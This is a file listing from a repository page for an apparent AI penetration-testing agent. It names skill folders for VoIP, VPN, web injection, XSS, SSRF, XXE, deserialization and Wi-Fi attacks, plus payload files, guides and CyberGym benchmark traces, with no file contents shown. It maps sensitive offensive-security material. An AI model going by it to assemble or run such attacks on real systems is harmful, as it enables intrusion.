  • kali-claw-pentest-agent/skills/voip-sip-attack/guides/voip-denial-of-service.mdmarkdown · 9.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/guides/voip-eavesdropping-spoofing.mdmarkdown · 8.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/payloads.mdmarkdown · 25.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/test-cases.mdmarkdown · 17.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/SKILL.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/ipsec-vpn-enumeration-fingerprinting-guide.mdmarkdown · 13.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/openvpn-attack-guide.mdmarkdown · 20.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/ssl-vpn-exploitation-deep-dive-guide.mdmarkdown · 12.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/ssl-vpn-exploitation-guide.mdmarkdown · 13.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/vpn-credential-brute-force-guide.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/vpn-credential-tunnel-attack-guide.mdmarkdown · 14.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/vpn-pivoting-lateral-guide.mdmarkdown · 12.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/guides/wireguard-attack-guide.mdmarkdown · 23.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/payloads.mdmarkdown · 27.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vpn-attack/test-cases.mdmarkdown · 8.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/SKILL.mdmarkdown · 17.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/evidence/2026-08-17/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/evidence/2026-08-17/summary.mdmarkdown · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/2026-03-22-vulnerability-analysis-tools.mdmarkdown · 19.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/2026-03-22-web-app-analysis-advanced.mdmarkdown · 10.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/2026-03-22-web-application-analysis-tools.mdmarkdown · 10.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/automated-scanning-pipeline-guide.mdmarkdown · 18.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/manual-testing-techniques-guide.mdmarkdown · 14.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/risk-rating-methodology-guide.mdmarkdown · 14.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/vulnerability-prioritization-guide.mdmarkdown · 13.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/guides/vulnerability-scanning-network-protocol-cli-reference.mdmarkdown · 12.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/payloads.mdmarkdown · 73.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/vulnerability-assessment/test-cases.mdmarkdown · 18.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/SKILL.mdmarkdown · 15.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/access-control-guide.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/guides/access_control_scanner.pycode · 15.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/guides/broken_access_control_complete_guide.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/guides/broken_access_control_payloads.mdmarkdown · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/guides/csrf-attack-guide.mdmarkdown · 22.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/guides/idor-exploitation-guide.mdmarkdown · 7.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/guides/multi-tenancy-isolation-testing-guide.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/guides/privilege-escalation-web-guide.mdmarkdown · 8.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/payloads.mdmarkdown · 34.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-access-control/test-cases.mdmarkdown · 7.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/SKILL.mdmarkdown · 18.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/auth-bypass-guide.mdmarkdown · 14.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/guides/auth-bypass-complete-guide.mdmarkdown · 14.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/guides/jwt-attack-methodology.mdmarkdown · 20.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/guides/mfa-bypass-techniques-guide.mdmarkdown · 10.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/guides/oauth-vulnerability-testing-guide.mdmarkdown · 10.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/guides/session-management-attacks-guide.mdmarkdown · 9.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/payloads.mdmarkdown · 30.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-auth-bypass/test-cases.mdmarkdown · 9.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/SKILL.mdmarkdown · 23.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/guides/cross-platform-deserialization-guide.mdmarkdown · 22.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/guides/dotnet-deserialization-guide.mdmarkdown · 26.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/guides/java-deserialization-ysoserial-guide.mdmarkdown · 18.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/guides/nodejs-deserialization-guide.mdmarkdown · 20.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/guides/php-deserialization-phpggc-guide.mdmarkdown · 17.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/payloads.mdmarkdown · 58.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-deserialization/test-cases.mdmarkdown · 23.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/SKILL.mdmarkdown · 16.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/bug_bounty_sqli_scanner.pycode · 12.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/comprehensive_double_query_test.pycode · 3.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/cross_database_sqli_guide.mdmarkdown · 9.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/ctf_sqli_practice_guide.mdmarkdown · 11.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/ctf_sqli_solver.pycode · 13.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/double_query_complete_guide.mdmarkdown · 12.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/double_query_correct_test.pycode · 2.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/double_query_lab.mdmarkdown · 2.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/double_query_learning_complete.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/double_query_simplified_test.pycode · 3.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/double_query_study_findings.mdmarkdown · 3.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/double_query_test.pycode · 2.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/master_double_query_final.pycode · 10.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/portswigger_learning_notes.mdmarkdown · 7.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/portswigger_sqli_auto.pycode · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/portswigger_sqli_labs.mdmarkdown · 10.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/real_world_sqli_case_studies.mdmarkdown · 10.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/sqli-labs-auto.shcode · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/sqli-labs-batch-notes.mdmarkdown · 3.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/sqli-labs-batch-test.shcode · 1.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/sqli-labs-full-roadmap.mdmarkdown · 5.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/sqli-labs-milestone-20.mdmarkdown · 6.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/sqli-labs-milestone-30.mdmarkdown · 8.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/sqli-labs-progress.mdmarkdown · 14.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/guides/waf-bypass-sqli-guide.mdmarkdown · 25.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/payloads.mdmarkdown · 15.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/sqli-cross-db-guide.mdmarkdown · 9.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/sqli-double-query-guide.mdmarkdown · 12.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-sqli/test-cases.mdmarkdown · 10.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/SKILL.mdmarkdown · 15.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/guides/blind-ssrf-detection-guide.mdmarkdown · 11.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/guides/cloud-metadata-ssrf-guide.mdmarkdown · 5.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/guides/ssrf-filter-bypass-guide.mdmarkdown · 5.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/guides/ssrf-post-exploitation-guide.mdmarkdown · 12.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/guides/ssrf-to-rce-escalation-guide.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/guides/ssrf_complete_guide.mdmarkdown · 15.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/payloads.mdmarkdown · 31.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-ssrf/test-cases.mdmarkdown · 11.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/SKILL.mdmarkdown · 27.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/csp-bypass-techniques-guide.mdmarkdown · 16.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/dom-xss-source-sink-analysis-guide.mdmarkdown · 16.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/ssti-attack-guide.mdmarkdown · 22.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/waf-bypass-xss-guide.mdmarkdown · 24.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/web-application-security-cli-reference.mdmarkdown · 12.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/web_security_advanced_plan.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/xss-filter-evasion-guide.mdmarkdown · 17.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/guides/xss-to-rce-escalation-guide.mdmarkdown · 17.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/payloads.mdmarkdown · 30.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xss/test-cases.mdmarkdown · 18.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/SKILL.mdmarkdown · 19.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/guides/blind-xxe-exfiltration-guide.mdmarkdown · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/guides/oxml-xxe-social-engineering-guide.mdmarkdown · 10.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/guides/xxe-attack-techniques-guide.mdmarkdown · 7.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/payloads.mdmarkdown · 34.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/web-xxe/test-cases.mdmarkdown · 16.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/SKILL.mdmarkdown · 15.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/guides/CRACK_MONITOR.mdmarkdown · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/guides/evil-twin-attack-guide.mdmarkdown · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/guides/wifi-cracking-complete-learning.mdmarkdown · 10.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/guides/wifi-cracking-course.mdmarkdown · 12.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/guides/wifi-resume-guide.mdmarkdown · 4.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/payloads.mdmarkdown · 24.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/wifi-pentest/test-cases.mdmarkdown · 11.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/INTEGRATION-SCENARIOS.mdmarkdown · 19.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/INTEGRATION-TRACKER.mdmarkdown · 3.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/QUALITY-SCORE-GUIDE.mdmarkdown · 6.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/QUALITY-SCORE-TRACKER.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/README.mdmarkdown · 2.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/SCORE.shcode · 11.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/SCORING-METHODOLOGY.mdmarkdown · 5.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/VALIDATION-GUIDE.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/VALIDATION-TRACKER.mdmarkdown · 10.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/WEAK-SKILL-IMPROVEMENT-PLANS.mdmarkdown · 5.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/auto-backup.shcode · 4.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/batch-improve.shcode · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/check-tool-versions.pycode · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/cybergym-download-all-data.shcode · 3.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/cybergym-download-tasks.pycode · 7.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/cybergym-multi-agent.shcode · 11.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/cybergym-runner.shcode · 28.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/cybergym-skill-optimizer.shcode · 5.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/cybergym-stream-orchestrator.shcode · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/drift-detect.shcode · 7.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/engagement-template/report-template.mdmarkdown · 2.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/engagement-template/scope-rules.json.exampletext · 2.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/engagement-template/targets.json.exampletext · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/.gitkeeptext · 0.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/ai-fuzzing-TC-AF-001-2026-05-22.logtext · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/ai-security-TC-AS-001-2026-05-22.logtext · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/api-security-TC-A001-2026-05-22.logtext · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/article-writing-TC-AW-001-2026-05-22.logtext · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/autonomous-loops-TC-AL-001-2026-05-22.logtext · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/binary-reverse-TC-B001-2026-05-22.logtext · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/browser-qa-TC-BQ-001-2026-05-22.logtext · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/chronicle-TC-CH-001-2026-05-22.logtext · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cloud-security-TC-CS-01-2026-05-22.logtext · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/codebase-onboarding-TC-CO-001-2026-05-22.logtext · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/container-security-TC-CS-001-2026-05-22.logtext · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/continuous-learning-TC-CL-001-2026-05-22.logtext · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/council-TC-CL-001-2026-05-22.logtext · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/crypto-attacks-TC-CRYPTO-001-2026-05-22.logtext · 0.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/summary-final.jsoncode · 1.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/summary.jsoncode · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/C1.memory.jsoncode · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/C1.server-response.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/C1.task-card.mdmarkdown · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/C1.trace.jsoncode · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/C2.memory.jsoncode · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/C2.server-response.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/C2.task-card.mdmarkdown · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/C2.trace.jsoncode · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/I1.memory.jsoncode · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/I1.server-response.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/I1.task-card.mdmarkdown · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/I1.trace.jsoncode · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/I2.memory.jsoncode · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/I2.server-response.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/cybergym/v0.1.45/traces/I2.task-card.mdmarkdown · 0.5 KB

    No inline preview for this entry.

